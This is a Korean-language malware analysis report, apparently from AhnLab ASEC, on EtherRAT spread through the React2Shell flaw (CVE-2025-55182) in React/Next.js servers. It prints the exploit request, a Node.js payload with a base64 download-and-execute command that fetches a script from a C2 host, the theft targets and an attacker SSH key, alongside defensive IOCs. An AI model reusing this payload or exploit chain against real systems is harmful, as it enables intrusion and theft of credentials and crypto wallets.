React2Shell 취약점(CVE-2025-55182)을 악용한 EtherRAT 악성코드 유포

React2Shell 취약점(CVE-2025-55182)을 악용한 EtherRAT 악성코드 유포

AhnLab SEcurity intelligence Center(ASEC)에서는 최근 공개된 React2Shell 취약점을 추적 하던 중 Node.js를 활용한 고도화된 악성코드 유포를 확인하였다. 해당 공격은 여러 단계를 거쳐 EtherRAT으로 알려진 악성코드를 설치하며, 최종적인 목적은 거점 확보, 정보 탈취, 암호화폐 탈취로 확인되었다.

 

공격자는 공격 대상의 IP 주소 80포트로 최초 접속 이후 곧바로 React2Shell 취약점 공격 패킷을 전송하였다. 분석 결과, 자동화된 스크립트를 통해 공격을 수행하고 있으며 특정 국가를 목표로 한 공격이 아닌, 무작위로 생성된 IP가 공격 대상인 것으로 확인되었다. 또한 공격 과정에서 러시아어로 작성된 코드와, 구 소련 국가는 공격 대상에서 제외한 코드가 확인되었다.

 

해당 공격의 최초 침투 과정에서 사용된 패킷 정보는 다음과 같다.

  • 최초 접속

Header

GET / HTTP/1.1

Host: { IP Address }

Connection: keep-alive

  • 취약점 공격

Header

POST / HTTP/1.1

Host: { IP Address }

Content-Type: multipart/form-data; boundary=—-R2gc3yr5k1ev

Next-Action: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Connection: keep-alive

Transfer-Encoding: chunked

Data

——R2gc3yr5k1ev

Content-Disposition: form-data; name=”0″

(중략)

——R2gc3yr5k1ev–

Content-Disposition: form-data; name=”1″

 

“$@0”

——R2gc3yr5k1ev

Content-Disposition: form-data; name=”2″

[]

——R2gc3yr5k1ev–

 

위 취약점 공격 패킷이 취약한 상태의 React 서버에 전달될 경우 아래 코드가 실행된다.

 

Node.js 코드

var cp = process.mainModule.require(“child_process”);
try {
    cp.exec(“echo KGN1cmwgLXMgaHR0cDovLzE5My4yNC4xMjMuNjg6MzAwMS9nZmRzZ3NkZmhmc2RfZ2hzZmRnc2ZkZ3NkZmcuc2ggLW8gL3RtcC9zLnNofHx3Z2V0IC1xIC1PIC90

bXAvcy5zaCBodHRwOi8vMTkzLjI0LjEyMy42ODozMDAxL2dmZHNnc2RmaGZzZF9naHNmZGdzZmRnc2RmZy5zaCkmJmNobW9kICt4IC90bXAvcy5zaCYmL3RtcC9zLnNoICY=|base64 -d|sh”)
} catch {}

쉘 실행 코드 (curl -s hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o /tmp/s.sh||wget -q -O /tmp/s.sh hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh)&&chmod +x /tmp/s.sh&&/tmp/s.sh

 

curl 또는 wget을 사용해 C2로부터 쉘 스크립트를 다운로드하여 “/tmp/s.sh”경로에 저장 후 실행한다. 해당 쉘 스크립트는 시스템 특정 경로에 Node.js(v20.10.0)를 설치하고 암호화된 데이터 파일 및 Node.js스크립트를 생성 후 실행한다.

 

  • 다운로드 URL: hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh

 

이 과정에서 실행되는 Node.js스크립트는 암호화된 데이터 파일을 AES 복호화 후 실행하는 기능을 한다. 데이터 파일 복호화 결과는 또 다른 Node.js스크립트이며, EtherRAT으로 불리는 악성코드이다.

 

그림 1. 감염 시스템 디렉토리 구조

 

EtherRAT의 주요 특징은 C2 주소를 얻는 방식이다. 이더리움 컨트랙트를 조회한 데이터에서 C2 문자열을 추출한다. 해당 악성코드가 이더리움 컨트랙트를 조회하는데 활용하는 데이터와 도메인은 다음과 같다.

 

 

 

해당 정보를 기반으로 컨트랙트 조회 시 다음 그림과 같이 C2 문자열을 확인할 수 있다.

 

그림 2. 컨트랙트 조회 결과

 

 

컨트랙트 조회로 얻은 C2 주소와 확장명, 변수명, 난수를 조합하여 C2 URL을 생성 후 접속 시도한다. 확장명은 [png, jpg, gif, css, ico, webp] 중 하나를, 변수명은 [id,token,key,b,q,s,v] 중 하나를 무작위로 선택하여 사용한다. 최종 접속 URL은 아래 형식이다.

hxxp://91.215.85[.]42:3000/api/{난수}/{UUID1}/{난수}.{확장명}?{변수명}={UUID2}

 

해당 악성코드는 주기적으로 C2에 접속하며 C2에서 응답한 스크립트를 실행할 수 있다. 분석 당시 C2에서는 총 5개의 추가 악성 스크립트를 실행하도록 응답하였다. 추가 스크립트는 각각 전파, 암호화폐 지갑 탈취, 정보탈취, SSH 키 등록, 리디렉션 행위를 한다.

 

C2에서 응답한 5개의 스크립트에 대한 정보는 아래와 같으며, 스크립트에서는 러시아어를 사용한 코드와, 일부 구소련 국가는 공격 대상에서 제외하는 코드가 확인되었다.

 

 

 [전파]

 

무작위로 생성한 IP 주소의 [80, 443, 3000, 3001, 8080, 8443] 포트를 대상으로 스캐닝 및 공격을 수행한다. 해당 공격은 특정 국가 대상이 아닌 무차별 공격임을 확인할 수 있다.

 

그림 3. 공격 대상 무작위 IP 생성 코드

 

최초 접속 시 GET 요청을 사용하며, 이때의 응답을 검사하여 특정 조건에 부합할 경우 React 취약점 공격 패킷을 전송한다.

 

  • 해더 검사
    “x-powered-by: Next.js”
    “x-nextjs-page:”
  • 본문 검사
    “/_next/”
    “__NEXT_DATA__”

 

 

 [암호화폐 탈취]

 

암호화폐 지갑 정보, SSH 키 정보, 클라우드 설정 정보, 콘솔 히스토리 정보와 관련된 파일 데이터를 수집하여 C2로 전송한다. 특히 암호화폐 지갑 복구에 사용되는 문자열 셋(BIP39) 2048개를 전수 검사하며, 지갑 관련 문자열이 존재하는 파일 또한 탈취 대상에 포함된다. 여러 디렉토리를 스캔 후 매칭되는 파일명과 데이터를 아래 C2로 전송한다.

  • 전송 URL hxxp://91.215.85[.]42:3000/crypto/keys

 

그림 4. 암호 화폐 탈취 관련 코드

 

 [정보 탈취]

 

시스템의 정보를 탈취하여 C2로 전송한다. OS 정보, 도메인 정보, 사용 AV 정보, VGA 정보 등 다양한 정보를 수집하며, 시스템의 로케일 정보를 확인하여 다음 언어 코드에 매칭될 경우에는 악성 행위를 수행하지 않는다.

 

  • ru: 러시아
  • be: 밸라루스
  • kk: 카자흐스탄
  • ky: 키르기스스탄
  • tg: 타지키스탄
  • uz: 우즈베키스탄
  • hy: 아르메니아
  • az: 아제르바이잔
  • ka: 조지아

 

그림 5. 감염 시스템 로케일 확인 코드

 

 [SSH 접속 키 등록]

침해 시스템에 지속적으로 접근 가능하도록 SSH 키를 설치한다. 키 정보는 다음과 같다.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFTxaWmhQkYYF2LgNsAumFqxUiUSv8YEd7DRE9Wb076YxY0fGn4scWzmQnIP/xsrynapcrGKhBXW31BG7wFearY9fctJeHrnAw7CeXqMybFPGIrl+PbLsUnH2AeizjqTOhVZMrgO+0MdsNrdGTN58azTRIvDvgXX9/4p5tinRvisP8jQXPwRv9gurT9hbjrff8bFYmbttSkFXzwlvo5jVi3WrDBLeSSaEnolsJbvCGzzNtm2s77O3yesztMOn03YR1b1QWaOZMTQtzS7gvpKQ8voxypyUd2H+qwK1fe3S7t3QHnNBoKxHXi/KsxgFbY9G74SKV15jTFyrJCJOaYQbVSZiz+uPYDRgW4xBKDsKEx5ne2E4oqJVSSNiZ/QJs0+zA3QFIflcR3WrZ6xxw0ivk/nvhzcCsd+K94jK/qheJzrTTvWqjo8FauCN8LtxqQGpbNWHHRJqc2m/lTt8CA2V89RquqMX7FhArF86TnMxHHt9IDDCf07eIEbpLuWGpJLBJeHbqy5h8yB8ZoUj/E3E7+KMd6HGvYkKxn3YItfopArpg6AfWzP0bjyw7yzxdsbElkxL3K6UcBeTBXb/HMOpTE9uyNN4TvczJZAbB6Yy51x2RU4Yd815MFVPVFFn+5/z+ZyK9442c9/UHKMcbOtXkvydWM7v01xCc8tFlIFKa4w== root@vps

 

해당 스크립트에서는 러시아어로 된 에러 처리 문자열이 확인된다.

 

그림 6. 에러 처리 코드 (러시아어)

 

 [리디렉션]

해당 스크립트가 동작 중이면 HTTP 패킷을 특정 URL로 리디렉션하고 웹훅 주소로 시스템 정보를 전송한다. 실제 식별된 공격지 IP 주소에 접속해보면 해당 페이지로 리디렉션되는 것을 확인할 수 있다. 이는 또 다른 스캐너의 취약점 공격을 방지하기 위함으로 해석된다.

그림 7. 리디렉션 패킷 정보

 

  • 리디렉션 URL: https://xss.pro
  • 웹훅 URL: hxxps://webhook[.]site/63575795-ee27-4b29-a15d-e977e7dc8361

 

이처럼 주요 취약점이 공개될 경우 공격자는 해당 취약점을 악용한 공격을 시도한다. 보안 권고문을 모니터링하며 사용 중인 제품들을 최신 버전으로 관리해야 한다.

MD5

0522ba68fa6159abc7d00172e732088d
1b81c2192f8bf8a70d100f735de588d1
2eb9a08bb7d0488e4921476bbf21e2f2
4ace9fac792ecd702c2f5595a7a942d2
6ccfcc3e8459b3a48ee2b0a4e469c157
URL

http[:]//193[.]24[.]123[.]68[:]3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg[.]sh
http[:]//91[.]215[.]85[.]42[:]3000/crypto/keys
https[:]//webhook[.]site/63575795-ee27-4b29-a15d-e977e7dc8361
FQDN

193[.]24[.]123[.]68
91[.]215[.]85[.]42
IP

193[.]24[.]123[.]68
91[.]215[.]85[.]42

AhnLab TIP를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.